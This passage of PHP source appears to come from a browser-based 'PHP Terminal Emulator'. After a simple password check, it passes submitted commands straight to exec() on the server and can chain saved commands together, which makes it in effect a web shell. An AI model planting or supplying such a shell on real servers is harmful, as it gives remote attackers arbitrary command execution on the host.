$persist) {
if ($persist) {
$current_command = $_SESSION['commands'][$index];
if ($current_command != '') {
$previous_commands .= $current_command . '; ';
}
}
}
if (isset($_POST['command'])) {
$command = $_POST['command'];
if ( ! isset($_SESSION['logged_in'])) {
if ($command == $password) {
$_SESSION['logged_in'] = TRUE;
$response = array('Welcome, ' . str_replace("\n", '', `whoami`) . '!!');
} else {
$response = array('Incorrect Password');
}
array_push($_SESSION['persist_commands'], FALSE);
array_push($_SESSION['commands'], 'Password: ');
array_push($_SESSION['command_responses'], $response);
} else {
if ($command != '' AND ! $toggling_persist) {
if ($command == 'logout') {
session_unset();
$response = array('Successfully Logged Out');
} elseif ($command == 'clear') {
clear_command();
} else {
exec($previous_commands . $command . ' 2>&1', $response, $error_code);
if ($error_code > 0 AND $response == array()) {
$response = array('Error');
}
}
} else {
$response = array();
}
if ($command != 'logout' AND $command != 'clear') {
if ($toggling_persist) {
if ($toggling_current_persist_command) {
array_push($_SESSION['persist_commands'], TRUE);
array_push($_SESSION['commands'], $command);
array_push($_SESSION['command_responses'], $response);
if ($command != '') {
$previous_commands = $previous_commands . $command . '; ';
}
}
} else {
array_push($_SESSION['persist_commands'], FALSE);
array_push($_SESSION['commands'], $command);
array_push($_SESSION['command_responses'], $response);
}
}
}
}
function clear_command()
{
if (isset($_SESSION['logged_in'])) {
$logged_in = TRUE;
} else {
$logged_in = FALSE;
}
session_unset();
if ($logged_in) {
$_SESSION['logged_in'] = TRUE;
}
}
?>
PHP Terminal Emulator
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